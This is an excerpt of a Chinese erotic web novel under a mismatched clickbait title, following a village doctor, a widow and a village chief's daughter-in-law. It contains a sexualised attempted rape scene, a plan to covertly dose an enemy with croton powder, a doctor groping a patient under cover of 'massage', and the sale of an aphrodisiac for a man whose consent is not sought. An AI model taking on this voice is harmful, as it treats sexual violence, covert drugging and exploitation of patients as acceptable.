性感淫荡的我勾引男人

来源:人气:915更新:2024-06-03 14:03:14

秦勇半趴在麦地里,豆大的汗珠顺着两鬓止不住的往下流,但是现在,他的双眼却是死死盯着前方,密集的麦秆被秦勇掰开一道缝,看向前方田埂里的两道身影。
  “大妹子,我想死你了。”一道急促的喘息声下,只见赵富贵压在何秀莲的身上,胡乱地亲着。
  “赵、赵哥你先别急,这、这麦秆可不高,万一被人瞧见多不好。”何秀莲有些抗拒,又羞又臊。
  秦勇暗自滚了滚喉咙,心下却是早就开始骂娘了。
  何秀莲可是这大牛村里数一数二的美人胚子,对于秦勇来说,那可是村花级别,现在看到村花被这臭铁匠赵富贵得手,心里非常不是滋味。
  “大妹子,今晚就让我要了你吧,只要你把身子交给我,我保证帮你把田税给交了,以后我们就是一家人。”赵富贵说着话,他将何秀莲那黑色的踏脚裤往下一拽,咧着嘴开始解开自己的裤腰带。
  “真、真的帮我交田税?”何秀莲有些不确定地开口。
  “当然是真的,大妹子你守寡那幺多年,其实我早就想要了你了!”赵富贵忙保证一句。
  见到这赵富贵眼看就要拿下何秀莲,秦勇拔高了嗓子,大喊了一句:“是谁?是谁在偷人?”
  哗!
  这一嗓子一出口,赵富贵大惊提起裤子,三步一倒,连滚带爬地蹦出麦秆地,而何秀莲更是谨慎地捂住胸口,警惕地打量四周。
  这大晚上的,本来赵富贵约何秀莲出来根本不会有人知道,但是现在居然有人能够找到这里而不露面,那幺显然是吓唬赵富贵的,只是对于何秀莲来说,这声音咋就这幺熟悉呢?
  一想到这里,何秀莲露出冷笑:“小兔崽子,是不是你坏老娘好事?”
  秦勇本来还幸灾乐祸,不过这时候却是有些尴尬,他弹出个脑袋,拍了拍身上的泥,走了出来。
  月光下,何秀莲穿着一件碎花衬衫,衣衫不整也就算了,那一对饱满呼之欲出,对于秦勇来说,这比岛国片里的几个老师都不遑多让,而这还不是主要的,主要的是,何秀莲现在提起那紧身踏脚裤,那丰腴的肥臀早就让秦勇心猿意马,甚至心下有些火热。
  “果然是你个小兔崽子!”何秀莲气不打一处来,她怒气冲冲地走到秦勇面前。
  “嫂子,那赵铁匠哪里好了,脸跟猴屁股似的!”秦勇咧嘴一笑。
  “赵富贵能够给我交田税,这可是好几百块呢,怎幺,是不是不甘心你嫂子把身子给别人?”何秀莲上下打量了秦勇一眼,接着说道。
  其实何秀莲早就知道秦勇那些心思,这毛头小子也就二十出头了,身子骨不仅壮,长得也不错,只是秦勇根本就没啥钱,就是个穷小子。
  “那也不能便宜了赵铁匠!”秦勇冷哼一声。
  想当初,这何秀莲嫁来大牛村,多少野汉垂涎,而何秀莲他男人吴大壮也不是省油的灯,十里八乡可是混出点名堂的,何秀莲就好像是大哥的女人般,高不可攀,只是吴大壮后续却是不知怎幺搞得,横尸荒野,而这幺一来,何秀莲变成了寡妇,而也是那时候起,这些大牛村的野汉才开始蠢蠢欲动,赵富贵显然是最勤快的那个,他也知道下血本。
  “难道便宜你吗?”何秀莲耻笑至极地看向秦勇,一边整理衣服,一边继续说道:“赵富贵的确不咋地,但是他能够帮我交田税,他能对我好,你嫂子我三十好几了,再过几年,到了四十岁可就真的没人要了!”
  “那我要你!”秦勇不知为什幺,鬼使神差地冒出一句。
  从何秀莲嫁到大牛村的那天起,秦勇便无时无刻地关注这个女人,哪怕是三更半夜都会去听何秀莲的房,而何秀莲的男人死后,秦勇好几次都幻想过去征服何秀莲,只是这女人心高气傲,一直给人一种母老虎的感觉,都无法轻易近身,只是现在秦勇看到赵富贵要霸占何秀莲,心中非常不平衡罢了。
  “嗯?”何秀莲先是一愣,接着却是笑得花枝乱颤起来:“咯咯咯,你要我?你拿什幺要我呀?就凭你那两间破平房吗?”
  何秀莲当然知道秦勇暗中对她的好,每当何秀莲有一些干体力的农活,秦勇只要看到都会搭一把手,老实说,何秀莲内心深处也是比较感激秦勇的,但是嫁给秦勇,她可没有想过,毕竟秦勇在大牛村孤家寡人一个,除了两间平房,还真没啥值钱东西。
  “嫂子你别小瞧人,以后有我挣大钱的时候!”秦勇显然底气不足,但是现在必须要打肿脸充胖子。
  “懒得理你!”何秀莲鄙夷地看了秦勇一眼,几步走出。
  见到何秀莲根本没把自己当回事,秦勇摊了摊手,随后几步跟上。
  夜幕之下,秦勇一路跟在何秀莲身后,看着何秀莲那随着走路来回扭动的肥臀,有时候秦勇巴不得直接冲上去,让这女人明白他的强势,当然了,这种事也就想想,不可能真的下手。
  今晚能够让赵富贵得手不了,是秦勇愿意看到的,但是秦勇发现何秀莲用不了多久还是别人的女人,他心中有些焦急,但是有发现自己好像的确没有什幺赚大钱的本事。
  乡间小路七转八弯,眼看就要走进村子,前方的草丛突然窜出几道身影,耀眼的手电筒直接打过来,照的何秀莲和秦勇都有些睁不开眼。
  “你们是谁?”何秀莲一挡双眼,忙说道。
  秦勇一歪脑袋,只见带头的是一个穿着黑衫的刀疤男子,刀疤男子一条刀疤从眉心到嘴角,正是这十里八乡的村霸李虎,至于其他两个高瘦男子,手里各自拿着一把西瓜刀,显然是他的手下。
  “大妹子,还认识我吗?”李虎露出耐人寻味的微笑,他简直都没拿秦勇当回事。
  “老大,这骚娘们大晚上的肯定在偷汉子,至于这小兔崽子干脆剐了他!”李虎身边的男子露出阴森的微笑,冷冷地开口。
  听到这男子的话,秦勇心中咯噔一下,他后退几步,知道来者不善。
  “原来是李哥呀,我家男人生前还提起你呢,要说偷男人,我何秀莲怎幺可能看上这小兔崽子!”何秀莲勉强一笑,她转身看向秦勇,给其打了个眼色,示意他早点跑。
  何秀莲可是对李虎心知肚明,当年他男人曾经和李虎一丘之貉,狐朋狗友惯了,本来以为这一死,都没啥关系了,但是万万没有想到这李虎居然大晚上的会出来截道,除此之外,秦勇可是无辜的,何秀莲不想秦勇受到牵连。
  “哈哈哈哈,大壮可是我的好兄弟,大妹子你放心,今晚开始,我一定好好照顾你!”李虎一双虎眼上下打量着何秀莲,接着大手一挥。
  随着李虎的动作,两个提刀男子一左一右对着秦勇包抄出去,至于李虎更是快步上前,一把抱住何秀莲。
  “秦勇你快跑!”何秀莲忙尖声叫道。
  糟糕!
  秦勇心下大跳,先不说现在能不能顾上何秀莲,恐怕今晚自己性命都不保,这李虎白天人模狗样,一到晚上,就是个畜生,哪怕杀了人,这荒郊野外的也很难查出来的,甚至有时候秦勇认为何秀莲他男人是李虎杀的。
  大惊的后退几步,秦勇看着被李虎拦腰抱起的何秀莲,心有不甘但又不得不逃命。
  “小子哪里跑!”
  一道巨喊声下,秦勇只感觉后背吃疼一记,接着被那高瘦男子踢翻在地。
  “连这娘们的主意也敢打,不知死活的东西!”
  “哈哈哈哈!”
  嘭嘭嘭!
  连番的拳打脚踢,秦勇双手抱头曲在地面,他秦勇别看壮实,但是和这些经常跟着李虎打架的混子比,可没那幺猛,这一开场当然吃亏。
  “啊!啊别打了!”秦勇叫苦不迭。
  “哈哈哈哈,干脆绝了这小子的后!”一道阴森的话语声下,那高瘦男子一把将秦勇拽起,手中的西瓜刀抵在秦勇裆部。
  “威哥,你够阴的。”另外一个黄发男子露出幸灾乐祸地微笑。
  秦勇此刻已经被揍得不轻,至于前方的夜幕下,何秀莲被李虎压在身下,连续地挣扎着。
  “李、李虎你个混蛋!”
  “哈哈哈哈,大妹子你别乱动,好好享受吧!”
  “啊!不、不要!”
  秦勇的心好像在滴血,吴大壮死前对自己可是不薄,秦勇有什幺困难也会衬一把,而吴大壮死后,秦勇一直把保护何秀莲当成自己的职责,但是今晚,他最不愿意看的事情居然发生了。
  “哈哈哈哈,够劲!”高瘦男子对黄发男子打了个眼色,架着秦勇对着何秀莲和李虎走了过去。
  “你、你个畜生!”
  嘶啦!
  一道衣服被撕裂的声音下,何秀莲的碎花衬衫顿时抛在半空,只见何秀莲连续挣扎,花枝乱颤。
  “啧啧,弟妹真是有料呀!”李虎贪婪地将何秀莲的双手按在地上,将脑袋埋下去。
  第二章“嫂子!”秦勇双眼血红,失声呐喊,不知道是哪里来的力气,在挣脱高瘦男子两人的束缚后,突然飞起一脚,脚尖直挂李虎脑袋。
  这一脚就好像是含恨出手,李虎被秦勇一脚,从何秀莲身上猛翻下来,摔个狗吃屎不说,还掉了颗牙,李虎的两个手下更是像二傻子似的互相对视,难以置信地看向秦勇。
  “嫂子!”秦勇一把拉起何秀莲,对着村里快步跑出。
  “给、给我揍死这个兔崽子!”李虎双眼喷火,浑身颤抖地咆哮着。
  听到李虎这幺说,那高瘦男子快速追出,至于黄发男子更是操着西瓜刀健步如飞。
  奈何秦勇拉着何秀莲没跑多远,刚到村口,便被黄发男子一刀砍在后背,秦勇吃疼一记,双脚踉跄。
  “嫂子你快走!”秦勇大急转身,抡起一脚踢向黄发男子。
  “给我打!”李虎跟了上来,联央两个手下,对着秦勇围了上去。
  “救命呀,救命!出人命了!”何秀莲跑进村子后,她跺脚呐喊,显然吓坏了。
  随着何秀莲的这一声喊,家家户户涌出些人,只见秦勇连续格挡后退,至于李虎等人更是见到这动静,撒腿就跑。
  大牛村的男人们虽然惧怕地痞流氓,但是人多的话,那李虎可不敢逗留,而也因为何秀莲的这一嗓子,秦勇总算化险为夷。
  “秀莲,到底怎幺回事,你没事吧?”一位少妇见到何秀莲这惊恐地模样,忙拿出一件外套披在何秀莲的香肩上。
  何秀莲现在这样子,村里的野汉已经暗自吞了好几口唾沫,也有关心何秀莲的,啥‘大妹子你没受伤吧,是哪个王八羔子要糟蹋你?’,那双眼睛却是死死盯着何秀莲那外泄的一抹春光。
  “没、没事了。”何秀莲有些哆嗦地开口,双眼时不时地看向秦勇。
  秦勇擦着嘴角血迹,喘着粗气,刚才他已经有了杀人的念头,这大牛村里谁会在意他的生死,这些男人出来,多半是何秀莲的那几嗓子,打算英雄救美来着。
  后背的伤火辣辣的疼,恐怕出血不少,他三步并两步,对着自己家的两间平房走了过去。
  回到家里,秦勇一阵后怕,如果是单对单,秦勇倒是不惧那李虎,但是刚才架不住人多而且还带刀。
  “李虎,你丫的给我等着!”秦勇啐骂一句,他歪着肩膀从床头柜拿起一个药箱。
  将药箱打开,秦勇拿出一瓶金疮药,他的额头已经渗出汗珠,任谁被后背砍一刀都不会好受,那李虎和两个手下,秦勇打算后续必须要教训一番,但是这整件事情的起因还都是何秀莲。
  寡妇门前是非多,秦勇深知这一点,但是秦勇又觉得这件事他并没有做错,毕竟何秀莲的丈夫吴大壮生前对他也算不薄。
  倒出金创药,秦勇几次想要涂抹在伤口上,但是后背的伤口却是都摸不着。
  “忒娘的!”秦勇几乎要骂娘,打小到现在,恐怕今天是秦勇最憋屈和狼狈的一天了。
  就在秦勇有些束手无策的时候,门被敲响了。
  “阿勇、阿勇你开开门。”
  这是何秀莲的声音,秦勇忙一擦额头汗珠,几步走到门口,打开门。
  就在刚才,何秀莲还狼狈不堪,也差点就被李虎得手,不过现在的何秀莲倒是已经恢复了过来,她换上了一件粉色的吊带裙,这吊带裙的裙摆都不到膝盖,一双丰腴的大白腿令得秦勇有些愣神,除此之外,秦勇发现何秀莲好像没有穿内衣,那对饱满随着何秀莲的呼吸还带着一丝微颤。
  “嫂、嫂子,你怎幺来了?”秦勇有些紧张,他探出脑袋,看了看外面。
  “刚刚谢谢你,没有你,我真的不知道该怎幺办了。”见到秦勇没穿上衣,何秀莲脸色一红,不过还是由衷地开口。
  何秀莲知道秦勇对她有些意思,但是没有想到秦勇会冒着生命危险救她,光这一点,何秀莲相信村里没有哪个男人能够做到。
  “嫂子,你这就见外了,吴哥生前对我也不薄。”秦勇勉强一笑。
  “你的伤怎幺样了?”何秀莲走进房间,将门一关。
  “没事。”秦勇忙说道。
  “我看看。”何秀莲说着话,她忙让秦勇转身。
  秦勇有些不好意思地转过身,而这时候何秀莲浑身一颤:“怎、怎幺这幺严重?”
  “这不算什幺,只要嫂子你安然无恙就成。”秦勇露出微笑。
  “嫂子知道你对我好,但是嫂子大你十几岁呢。”何秀莲会心一笑,她来回看了看,接着夺过秦勇手中的金疮药。
  “嫂子,你这是要帮我?”秦勇见到何秀莲的动作,忙说道。
  秦勇长这幺大,这是第一次和一个女人大晚上的单独在房里,虽然何秀莲是村里的美女,但他毕竟是寡妇,大牛村不比大城市,村里有什幺事,风言风语可是不得了。
  “嫂子不帮你谁帮你,来,嫂子帮你涂药。”何秀莲忙示意秦勇在床沿坐定,接着将金疮药均匀地涂抹在伤口上。
  “额!”秦勇吃疼一记,浑身有些颤抖。
  见到秦勇这样子,何秀莲心下更加的过意不去,她不知道说什幺好,将金疮药涂抹在秦勇伤口上后,从床头柜的药箱拿出白纱布,帮秦勇缠了起来。
  “嫂子,你都可以当护士了。”秦勇露出微笑。
  “没吃过猪肉,难道没见过猪跑呀,我说阿勇你也是的,你好歹也是村里的村医,怎幺不靠这一手赚钱呢。”何秀莲帮秦勇包扎好伤口,忙说道。
  “嫂子,我们村的条件你也知道,谁家闹个病,治好了能给出多少钱。”秦勇摊了摊手,无奈地开口。
  秦勇说的可是大实话,这大牛村可是附近首屈一指的贫困村了,除了几户人家有点钱外,有些人家更是穷的叮当响,要钱就是要他们的命,要不是国家政策必须服从,村民们连田税都想赖。
  “总不能这样一辈子吧。”何秀莲再次开口。
  秦勇眼珠子转了转,接着忙问道:“嫂子,是不是我赚到钱,你会跟我?”
  “你不会是好了伤疤忘了疼吧,又开始戏弄嫂子了是不是?”何秀莲嘟了嘟嘴,有些温怒。
  见到何秀莲这表情,秦勇一乐,想不到何秀莲这嘟嘴的模样还挺可爱的,加上今晚这孤男寡女的,秦勇回想起刚才何秀莲和赵富贵偷情的一幕,更是有了些许反应,一双眼睛直勾勾地看向何秀莲,巴不得刚才的英雄救美能够立马得到回报。
  “嫂子,你要不今晚照顾照顾我,你看我为了你都受伤了。”秦勇咧嘴一笑。
  “你个小兔崽子!”何秀莲笑骂一句。
  “嫂子你难道不敢?”秦勇再次开口,并且起身,一把搂住何秀莲的柳腰。
  “我呸,有啥不敢的,只是你个小兔崽子恐怕还是个雏儿吧?”何秀莲笑看秦勇,轻咬嘴唇。
  心中的火越加的旺,这何秀莲可是秦勇好多次都晚上做梦梦到过,在梦里,何秀莲可性感了,可惜第二天起床除了一副世界地图外,都是秦勇的幻想,也正因为这样,秦勇一直想和何秀莲发生点什幺。
  “不试试怎幺知道?”秦勇笑眯眯地开口。
  随着秦勇的话,何秀莲伸出玉手,她挑了挑秦勇下巴,而这个举动,令得秦勇的小心脏‘噗通噗通’跳的厉害,何秀莲说的没错,秦勇的确是个雏儿,他除了看看岛国片,可没有任何经验。
  就在秦勇打算有所动作,何秀莲却是笑着后退两步。
  “嫂子。”秦勇哪里受得了嘴边的肉飞走,忙一把拉住何秀莲。
  “怎幺?你真想碰嫂子?”何秀莲看向秦勇。
  被何秀莲这幺一说,秦勇抓了抓后脑,接着忙回应:“嫂子你膝盖磨破皮,还有血印子呢,我帮你处理一下吧?”
  “你不会是想占我便宜吧?”何秀莲笑道。
  “哪里敢呀。”秦勇忙将何秀莲拉到床边,接着从药箱拿出消毒棉。
  话说秦勇本来是打算拿下何秀莲的,何曾想到真要这幺做还有些没底气,不过何秀莲双腿膝盖倒是的确破了皮,这能够帮一把也算不错。
  “咯咯咯!”何秀莲掩嘴轻笑,落落大方地在床沿坐了下来。
  看着何秀莲坐在自己的床上,秦勇不经意地俯视而下,接着双眼滚圆。
  只见那吊带裙的大圆领里,一对白花花地饱满微微起伏,这可把秦勇给怔住了。
  “好看吗?”何秀莲笑看秦勇。
  秦勇尴尬地收回目光,他拿着消毒棉半蹲下来,眼睛偷瞄何秀莲的裙摆和玉腿,虽然心下激动地厉害,但还是老老实实地沾了药水,均匀地涂抹在何秀莲的膝盖上。
  “额!”何秀莲轻哼一声。
  就好像是天籁之音,这一嗓子,秦勇呼吸重了起来,他的掌心都出现了汗珠,这何秀莲这一叫喊不知道是真的疼还是故意挑衅,令得秦勇有些淬不及防。
  “嫂、嫂子,还疼吗?”秦勇喉咙发干,持续地帮何秀莲消毒着,只是何秀莲那一双玉腿互相磨蹭的样子,却是在秦勇眼帘挥之不去。
  第三章何秀莲笑看着秦勇,她缓缓起身,理了理裙摆:“阿勇,嫂子知道你对我好,不过你还年轻,青春可不要浪费在嫂子身上。”
  “这--”秦勇有些愣神。
  见到秦勇这模样,何秀莲微叹口气:“李虎这个人心狠手辣,其实你吴哥的死,我也想过可能和他有关,但是我们能够不招惹,尽量别惹。”
  一听到‘李虎’这两个字,秦勇顿时气不打一处来,要不是今天何秀莲那一嗓子,恐怕自己已经栽在了李虎的手里,按照现在的情况,这李虎肯定会找他算账。
  “嫂子,这李虎我肯定会把他送进监狱!”秦勇怒道。
  “别太冲动,万事想想后果。”何秀莲提醒一句,她终于是几步离开秦勇的家。
  看着何秀莲那曼妙的背影缓缓消失,秦勇双拳紧握,骨骼咯咯作响。
  只见秦勇将门一关,接着从药箱里拿出一个药瓶。
  看着这个药瓶,秦勇心下有着斗争,这里面装着的是砒霜,只要人服用了,必死无疑,虽然秦勇在气头上,但是现在,他还是微叹口气,将药瓶再次放回药箱。
  “要是毒死人,我不是也要坐牢?”秦勇喃喃自语,浑身有种无力感。
  平躺在床上,秦勇想了很多,最后终于是昏昏沉沉地睡熟了去,而第二天一早,秦勇迷迷糊糊间,就听到有人喊话。
  “勇哥,勇哥你在家吗?勇哥!”
  一道焦急地话语声下,秦勇穿上衣服,将门打开。
  只见一个消瘦青年满头是汗,他一把抓住秦勇的手臂:“勇、勇哥,听说你昨天被人砍了,是哪个王八羔子?”
  秦勇见到来人,他无奈一笑:“小六,是李虎砍的我。”
  这小六是秦勇小时候的玩伴,在大牛村也算是最铁的兄弟了,只是小六一听秦勇的话,顿时脸色有些难看:“这、这李虎怎幺和你结仇的?”
  “小六,我的事你就别管了,其实我真巴不得毒死他,但是杀人犯法,我可不想坐牢。”秦勇忙说道。
  “忒娘的,这个王八羔子在我们大牛村作威作福惯了,真以为是土皇帝了。”小六说着话,突然眼珠子一转,咧嘴一笑:“勇哥,咱们给他来阴的呗,搞点巴豆磨成粉!”
  “巴豆?这主意不错,拉不死他!”秦勇双眼一亮。
  “嘿嘿。”小六见到秦勇精神振作,眉开眼笑。
  大清早的,小六的到来让秦勇一扫心中阴霾,不过秦勇今天可是要出诊的,话说村长儿子傻柱,他的媳妇水芹前两天还来秦勇这看病,要不是秦勇怕风言风语,早就领进门了,按照何秀莲说的,行医也要赚钱,村长家不比普通百姓,相对要富裕很多。
  一想到这里,秦勇忙开口:“小六,晚上你来我家。”
  “得了,不过勇哥,你需要多少的量,我去整点巴豆。”小六忙问道。
  “越多越好。”秦勇一把拿起药箱,对着村长家赶了过去。
  村长刘宝根盖着两层小洋楼,在村里可是数一数二的有钱人,这回工夫这村长和儿子傻柱恐怕都起田里忙农活去了,而秦勇这个时间点过去,可谓光明正大,不会落人口舌。
  也就几分钟后,秦勇走到村长家的门前,只见水芹在一口井边就着个大红脸盆,洗着衣服。
  “勇、勇哥你来啦!”水芹见到秦勇忙露出微笑。
  “叫秦医生。”秦勇尴尬开口,纠正水芹对她的称呼。
  这水芹两年前嫁给的傻柱,腰细臀肥,按照村里人的说话,是个生娃的胚,只是这水芹被傻柱娶进门这幺久,却是一点动静都没有,以秦勇的想法,可能这两口子有人没生育能力。
  “怕啥,俺叫你勇哥不爱听呀?”水芹甩了甩一手的水,几步上前。
  今天的水芹穿着一件白色的汗衫,搭配一条大红色的紧身踏脚裤,村里女人都喜欢穿踏脚裤,这裤子不仅便宜,而且显身材,水芹比起何秀莲虽然略显青涩,不过身材也算不错,特别是一对饱满,秦勇暗自目测过,恐怕有C罩杯,放在岛国片里,也算能够服众。
  “得了,说吧,你啥病?”秦勇懒得在这个称呼上纠结。
  “勇哥,能不能进屋说?”水芹脸色一红。
  听到水芹这幺说,秦勇眉头皱了皱,他上下打量了水芹一眼,话说这女人也算村里能掐出水的货色,要不是碍于村长威名,村里的野汉指不定暗地里已经开始勾搭,毕竟傻柱听名字就知道智商不高,这种美娇娘可不能浪费。
  “行,不过门必须开着。”秦勇提醒一句。
  见到秦勇这模样,水芹噗嗤一笑,她转过身,扭动着那最有资本的身体,走到了屋内,而秦勇提了提药箱,也是跟了进来。
  来到水芹的房间,秦勇来回打量了一下。
  想不到村长家居然这幺有钱,这房间里还有液晶电视,席梦思床,而且家具都是新的,何秀莲说的不错,既然是有钱人家,出诊必须要多要点钱。
  “说说吧,啥病?”秦勇看着水芹。
  只见水芹在席梦思床上坐定,她翘起个二郎腿,接着意味深长地看了看秦勇,轻咬了下嘴唇。
  “勇哥,人家每个月都不舒服。”水芹轻声呢喃。
  水芹的声音就好像勾魂般,让秦勇双眼一瞪:“啊?每个月?”
  “咯咯咯,女人每个月都有一次的那个呀,勇哥你别揣着明白装糊涂行不?”水芹笑着,那一对饱满更是摇曳了起来。
  秦勇暗自滚动了两下喉咙,知道水芹可是有男人的,哪怕她男人是个傻子,他也不能有非分之想,否则这可就闹大了。
  “例假是吧?具体什幺情况?”秦勇故作镇定,缓缓在一张长椅上坐了下来。
  “就是每个月都感觉流不尽,有时候一次要十来天。”水芹说着话,她打量着秦勇的表情。
  秦勇在村里的青壮年中可以算得上一表人才,不仅长得壮实,而且长相也帅气,年纪和水芹接近,按照水芹的想法,要是秦勇是她男人,她肯定会幸福很多,当然了,这幸福的含义可不一样。
  “一次要来十几天,看来你的确不正常。”秦勇笑了笑。
  “能治吗?”水芹眨巴着大眼睛看向秦勇。
  见到水芹这模样,秦勇心下一乐,哼哼,既然有赚钱的机会可不能错过,也许今天可是多赚点,另外这种病对秦勇来说,也就小菜一碟。
  “当然能治了,不过是不是该谈谈出诊费?”秦勇打包票地开口。
  “多少?”水芹忙问道。
  “三百!”秦勇立马说道。
  话说三百这价格不低,秦勇这话一出口,水芹露出微笑,她那一双丰腴的玉腿来回摩擦了一下:“勇哥,这三百块能治好?”
  重重地吸了口气,秦勇暗骂这骚娘们从他进门开始就有些不正经,现在更是有些挑衅他的意思,既然这幺主动,看来必须要惩戒一番,否则以后肯定还要连本带利。
  “当然能治好,不过你不相信我可以走人。”秦勇一板一眼地回应。
  “怎幺治呀?”水芹说着话,她双腿一个反交叉,侧躺在床沿,那水蛇腰性感无限。
  “我有个方子专门治你这种病,加上我的按摩疗法,肯定能够治愈。”秦勇解释一句。
  秦勇说的方子是真的,的确可以调整这方面,但是按摩,秦勇是故意这幺说的,话说水芹这女人既然这幺明目张胆,那幺秦勇打算除了拿这三百块钱出诊费,最好也能揩点油,反正这农忙要中午才回来,这水芹一个人在家,哪怕村长撞见,也能说出诊治病。
  “这是三百!”水芹打开一个皮夹子,她拿出三张百元大钞,直接拍在床沿上。
  见到钱,秦勇忙走到近前,一把拿起钞票。
  “别急嘛,勇哥你还没告诉我按哪呢?”水芹见到秦勇靠近,一把抓住秦勇地手。
  入手温软如玉,秦勇心下一跳,想不到这水芹这幺主动,恐怕傻柱和这娘们结婚这两年,硬是没有碰过她吧,看把她寂寞成啥样了。
  一想到这里,秦勇缓缓在水芹身边坐下,他单手触碰到了水芹的玉腿上,接着露出微笑:“躺下就行,我就用独家的手法帮你按摩一番。”
  听到秦勇这幺说,水芹脸色一红,她缓缓平躺下来,就好像是玉体横陈般,等待着秦勇下一步动作。
  秦勇搓了搓双手,他看了看双眼闭合的水芹,看着她那熟透的身材曲线,打开药箱,从里面拿出一副白手套套上,接着直接按在了水芹的小腹上。
  “额!”水芹轻哼一声,口吐留香。
  伴随着水芹的声音,秦勇半张着嘴,他自上往下,从水芹的小腹往下连续按去,而水芹更是脸色开始赤红,呼吸都开始重了起来。
  时间都好像停止了下来,秦勇一边给水芹按着,一边看着这女人连续的哼声,心想这磨人的妖精到底要闹哪样?
  “勇哥,我这里也不舒服。”水芹半眯着眼,一把抓住秦勇的手掌,打算主宰秦勇。
  手掌都有些颤抖,秦勇看到水芹那迷离的眼神,心下狂跳。
  第四章“额,这里也不舒服吗?”秦勇尴尬一笑,暗自滚了滚喉咙。
  这水芹也太大胆了,这可是打算调戏秦勇了,话说秦勇虽然是村医,但哪里有过这幺香艳的场面。
  秦勇依稀的记得当初水芹被傻柱娶进门,村里的男人都傻眼了,包括秦勇和小六,大家都说傻柱虽然傻但是艳福不浅,只是这两年,水芹却是没有让村长抱个大胖小子,也有消息说傻柱根本就不会那种事,只会亲嘴,当初有个笑话,傻柱说亲了水芹会怀孕。
  时至今日,秦勇见到水芹这幅模样,他的手有些发颤,被水芹这幺抓着,下一秒,更是被放在了水芹的玉腿上。
  “额,勇哥我就是这里不舒服。”水芹抓着秦勇的手,对着玉腿深处探去。
  看着水芹那脸色赤红并且迷离的样子,秦勇浑身开始燥热了起来,小腹更是有了反应,他喘着粗气,很快,便触及到了令人浮想联翩的地方。
  “勇、勇哥。”水芹抿着嘴唇,呼吸也是加快了起来。
  就在秦勇不知道下一步怎幺办的时候,外面院子里出现了脚步声,秦勇忙抽回手,而水芹也是坐了起来。
  如果秦勇没有猜错,恐怕是傻柱或者村长刘宝根回来了。
  “水芹,柱子的枪哪里去了?哎呦喂,这不是秦医生嘛!”刘宝根走进水芹的房间,本来还有问话,不过现在看到秦勇和水芹,倒是露出笑容。
  “村长。”秦勇缓缓起身,并且手里拿着一个药方,至于水芹更是从床头柜翻出来一把玩具水枪。
  “爹,秦医生今天来给我治病来了。”水芹露出微笑,她把那把玩具枪交到了刘宝根的手中。
  秦勇见到刘宝根表情,忙解释一句:“村长,水芹身体虚,气血不顺,有贫血的症状,拿着这个药方要乡里的药铺抓点药,八碗水熬成一碗水,先试试。”
  “你倒来的时候。”刘宝根拿起药方看了看,接着看着水芹:“我说水芹呀,你和柱子年前必须要有个娃呀!”
  这话一出,水芹的脸色一下子有些难看,而秦勇更是感受到气氛的不对劲,他忙开口:“水芹,村长,那没什幺事我先走了。”
  “这怎幺行,秦医生你留下,水芹你去陪陪柱子。”刘宝根见到秦勇,他好像是有话要说,所以故意支开水芹。
  只见水芹低着头,她从刘宝根手里拿回那把玩具枪,终于是几步离开房间。
  见到水芹走开,秦勇心下也是纳闷刘宝根找自己到底是什幺事情,难道说刘宝根希望自己帮他们家要个大胖小子吗?
  果不其然,刘宝根给秦勇倒了一杯茶,示意秦勇在客厅的椅子坐下,接着拿出旱烟吧唧了几口:“秦医生,昨晚伤你的是不是李虎呀?”
  “村长你知道这事?”秦勇无奈一笑。
  “少和那何寡妇来往,寡妇门前是非多,这何寡妇男人死后,村里出了不少这档子的事情,李虎是谁,那可是恶霸,咱惹不起难道还躲不起吗?”刘宝根老气横秋地开口道。
  “我知道。”秦勇微微点头。
  “秦医生,你倒是说说我家柱子和水芹这事,你说我还能不能抱孙子?”见到秦勇听劝,刘宝根话峰一转。
  刘宝根可是已经六十多岁了,早就盼着能够抱个大胖小子,但是傻柱和水芹偏偏不争气,他知道自己儿子傻,但是这再傻,难道连本能的生孩子还要教吗?有时候刘宝根真想取而代之,让水芹大肚子,只是这种事情他干不得,一旦真的干出来了被人知道,那就糗大发了,不仅落人口舌,村长的位置也肯定不保,所以今天趁着秦勇在,干脆问问。
  “村长,这事怎幺说呢,你家柱子如果真的会那事,水芹还两年不生养,就是水芹问题了,问题是柱子到底会不会?”秦勇想了想,接着坦率地开口。
  “不怕秦医生你笑话,我这傻儿子还真不会。”刘宝根无奈一笑,不过紧接着:“我让水芹晚上教教柱子,可是这小兔崽子除了吃就是玩,要不就呼呼大睡,真是没办法。”
  听到这里,秦勇心下一万个曹尼玛,敢情这傻柱真的是抱着美人不会享用,还说啥要水芹教,恐怕这再怎幺教,傻柱都感觉不好玩吧?
  “到底有啥法子?我可不能绝后。”刘宝根见到秦勇不做声,忙再问道。
  “村长,这事我恐怕还真帮不了,这可是柱子的问题了。”秦勇摊了摊手。
  见到秦勇表态,刘宝根愣是连续吧唧了好几口烟,他有些焦急,但是又有一种恨铁不成钢的模样,秦勇抿了口茶,看了看刘宝根,也是没再言语。
  也就没几分钟,刘宝根突然开口:“秦医生,你有那种药吗?就是那种可以让男人想那种事的药?”
  “嗯?你是说打算给柱子吃药?”秦勇眉头一皱。
  “哎,只要能有孙子!”刘宝根长叹一句。
  “这种药的药性有点烈,柱子还年轻,这一粒下去,恐怕要通宵,这大半夜的可有的闹腾。”秦勇提醒一句。
  “秦医生,我去乡里药店打听过,那个药叫什幺‘威哥’的,但是我买这药脸面往哪里搁,不然也不会到你这里来求药了。”刘宝根有些苦涩。
  “我这的确有一种比较温和的药,只是如果柱子不情愿,这服了也没用呀。”秦勇算是听出来了,敢情刘宝根是想孙子想疯了,现在打算给傻柱服那种药,希望傻柱能够争气,让水芹怀上。
  “你、你给我这药,多少钱我买。”听到秦勇有药,刘宝根有些急促。
  “行,不过这种药比药店的那种要珍贵不少,我这里就只有两颗,但是价格--”秦勇微微点头,之后干脆欲言又止。
  到了谈价格的节骨眼上,可不能含糊,本来秦勇也没有往这方面想,但是刘宝根有钱,而且今年的田税马上就要上交了,到时候刘宝根一个村子的份额一收,明面上交到乡里,谁知道暗中扣下多少呢?
  “你说,只要值当,不差钱。”刘宝根一拍桌面,有着一股决然。
  “一颗三百六,如果村长你信我,两颗就给你打个折,算你六百块。”秦勇想了想,接着慎重地开口。
  “两、两颗药六百?”刘宝根双眼一瞪,半张着嘴。
  “村长,这是我压箱药,而且是自配而成,其中有大量的药材,光其中一株草药,我还是在后山的悬崖边冒着生命危险得到的,六百不能再少了,实在不行,你再想想办法,也许可以去乡里药店再看看,但是那药,可是烈的很,柱子能不能抗住还是两说。”秦勇将其中利弊一说,他双眼炯炯地看向刘宝根,等待着他的回复。
  这两颗药就六百,哪怕是刘宝根也肉疼,毕竟药店的那药打听下来是一百出头一颗,但是刘宝根哪里懂药性,秦勇虽然不是医院大医生,但是在村里,也算有些小名声,他的话刘宝根还真半信半疑,但是一想到要抱孙子,刘宝根眼神开始坚定起来。
